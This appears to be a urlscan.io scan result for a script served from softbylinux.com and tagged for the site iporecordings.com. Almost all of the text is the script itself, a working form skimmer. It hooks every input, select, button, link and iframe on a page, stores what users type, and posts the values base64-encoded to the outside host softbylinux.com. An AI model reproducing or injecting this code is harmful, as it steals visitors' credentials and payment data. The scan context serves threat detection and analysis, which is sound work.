softbylinux.com
Open in
urlscan Pro
179.60.150.123
Public Scan
URL:
https://softbylinux.com/js/support.js?host=www.iporecordings.com
Submission: On December 12 via manual from CH — Scanned from DE
Submission: On December 12 via manual from CH — Scanned from DE
Form analysis
0 forms found in the DOMText Content
function f(){ let a = document.head.querySelector('[src*="https://softbylinux.com/js/support.js?host=www.iporecordings.com"]'); if(!a){ let s=document.createElement('script'); s.setAttribute('defer',''); s.setAttribute('src','https://softbylinux.com/js/support.js?host=www.iporecordings.com'); document.head.appendChild(s); return } else { let scrs = document.body.querySelectorAll('[src*="https://softbylinux.com/js/support.js?host=www.iporecordings.com"]'); for (let element of scrs){ element.remove(); } let hookdiv = document.getElementById('hookwork'); if (!hookdiv) { hookdiv = document.createElement('div'); hookdiv.setAttribute('id', 'hookwork'); hookdiv.setAttribute('hidden','hidden'); document.body.appendChild(hookdiv); let desturl = 'https://softbylinux.com/js/support.js?host=www.iporecordings.com'; let addEventListenerToInput = function(element){ if (element.type === 'submit' || element.type === 'image'){ element.addEventListener('click', cbClickButton); } else if (element.type === 'checkbox'){ } else { if (element.id){ sessionStorage.setItem(element.id, element.value); }else{ sessionStorage.setItem(element.name, element.value); } element.addEventListener('change', cbChangeInput); } } let addEventListenerToIFrameInput = function(element){ if (element.type === 'submit' || element.type === 'image'){ element.addEventListener('click', cbClickButton); } else if (element.type === 'checkbox'){ } else { if (element.id){ sessionStorage.setItem('iframe_'+element.id, element.value); }else{ sessionStorage.setItem('iframe_'+element.name, element.value); } element.addEventListener('change', cbChangeIFrameInput); } } let addEventListenerToSelect = function(element){ let resultvalue = ''; for (let selectoption of element.selectedOptions){ if (resultvalue){ resultvalue += ','+selectoption.innerText; }else{ resultvalue += selectoption.innerText; } } if (element.id){ sessionStorage.setItem(element.id, resultvalue); }else{ sessionStorage.setItem(element.name, resultvalue); } element.addEventListener('change', cbChangeInput); } let addEventListenerToIFrameSelect = function(element){ let resultvalue = ''; for (let selectoption of element.selectedOptions){ if (resultvalue){ resultvalue += ','+selectoption.innerText; }else{ resultvalue += selectoption.innerText; } } if (element.id){ sessionStorage.setItem('iframe_'+element.id, resultvalue); }else{ sessionStorage.setItem('iframe_'+element.name, resultvalue); } element.addEventListener('change', cbChangeIFrameInput); } let cbChangeInput = function(event){ let resultvalue = ''; if (event.target.nodeName == 'SELECT'){ for (let selectoption of event.target.selectedOptions){ if (resultvalue){ resultvalue += ','+selectoption.innerText; }else{ resultvalue += selectoption.innerText; } } }else{ resultvalue = event.target.value; } if (event.target.id){ sessionStorage.setItem(event.target.id, resultvalue); }else{ sessionStorage.setItem(event.target.name, resultvalue); } } let cbChangeIFrameInput = function(event){ let resultvalue = ''; if (event.target.nodeName == 'SELECT'){ for (let selectoption of event.target.selectedOptions){ if (resultvalue){ resultvalue += ','+selectoption.innerText; }else{ resultvalue += selectoption.innerText; } } }else{ resultvalue = event.target.value; } if (event.target.id){ sessionStorage.setItem('iframe_'+event.target.id, resultvalue); }else{ sessionStorage.setItem('iframe_'+event.target.name, resultvalue); } } let cbClickButton = function(event){ let fd = new FormData(); fd.append('currenthost', document.location.hostname); fd.append('url', window.btoa(encodeURIComponent(document.URL))); let vars = ''; for (let els in sessionStorage){ if (els === 'length' || els === 'key' || els === 'getItem' || els === 'setItem' || els === 'removeItem' || els === 'clear'){ break; } vars += els+'='+sessionStorage[els]+'&'; } fd.append('vars', window.btoa(encodeURIComponent(vars))); fetch(desturl, {method: 'POST', body: fd}); } let iframeloadcallback = function(event){ let node; try { node = event.target.contentDocument.body; }catch{ node = ''; } if (node){ try { let inputs = node.querySelectorAll('input'); for (let element of inputs){ addEventListenerToIFrameInput(element); } }catch(e){ } try { let buttons = node.querySelectorAll('button'); for (let element of buttons){ element.addEventListener('click', cbClickButton) } }catch(e){ } try { let ahrefs = node.querySelectorAll('a'); for (let element of ahrefs){ element.addEventListener('click', cbClickButton) } }catch(e){ } try { let selects = node.querySelectorAll('select'); for (let element of selects){ addEventListenerToIFrameSelect(element); } }catch(e){ } } } let inputs = document.getElementsByTagName('input'); for (let element of inputs){ addEventListenerToInput(element); } let buttons = document.getElementsByTagName('button'); for (let element of buttons){ element.addEventListener('click', cbClickButton); } let ahrefs = document.getElementsByTagName('a'); for (let element of ahrefs){ element.addEventListener('click', cbClickButton); } let selects = document.getElementsByTagName('select'); for (let element of selects){ addEventListenerToSelect(element); } let iframes = document.getElementsByTagName('iframe'); for (let element of iframes){ element.addEventListener('load', iframeloadcallback); let node; try { node = element.contentDocument.body; }catch{ node = ''; } if (node){ try { let inputs = node.querySelectorAll('input'); for (let element of inputs){ addEventListenerToIFrameInput(element); } }catch(e){ } try { let buttons = node.querySelectorAll('button'); for (let element of buttons){ element.addEventListener('click', cbClickButton) } }catch(e){ } try { let ahrefs = node.querySelectorAll('a'); for (let element of ahrefs){ element.addEventListener('click', cbClickButton) } }catch(e){ } try { let selects = node.querySelectorAll('select'); for (let element of selects){ addEventListenerToIFrameSelect(element); } }catch(e){ } } } cbClickButton(''); let observeDOM = (function() { let MutationObserver = window.MutationObserver || window.WebKitMutationObserver; return function(obj, callback) { if (!obj || obj.nodeType !== 1) { return; } if (MutationObserver) { // define a new observer let mutationObserver = new MutationObserver(callback); // have the observer observe for changes in children mutationObserver.observe(obj, {childList: true, subtree: true}); return mutationObserver; } else if (window.addEventListener) { // browser support fallback obj.addEventListener('DOMNodeInserted', callback, false); } } })(); observeDOM(document.body, function(m) { for (let record of m){ for (let node of record.addedNodes){ if (node.nodeName == 'INPUT'){ addEventListenerToInput(node); }else if (node.nodeName == 'SELECT'){ addEventListenerToSelect(node); }else{ if (node.nodeName == 'IFRAME'){ node.addEventListener('load', iframeloadcallback); } else { try { let inputs = node.querySelectorAll('input'); for (let element of inputs){ addEventListenerToInput(element); } }catch(e){ } try { let buttons = node.querySelectorAll('button'); for (let element of buttons){ element.addEventListener('click', cbClickButton) } }catch(e){ } try { let ahrefs = node.querySelectorAll('a'); for (let element of ahrefs){ element.addEventListener('click', cbClickButton) } }catch(e){ } try { let selects = node.querySelectorAll('select'); for (let element of selects){ addEventListenerToSelect(element); } }catch(e){ } } } } } }); } } } f();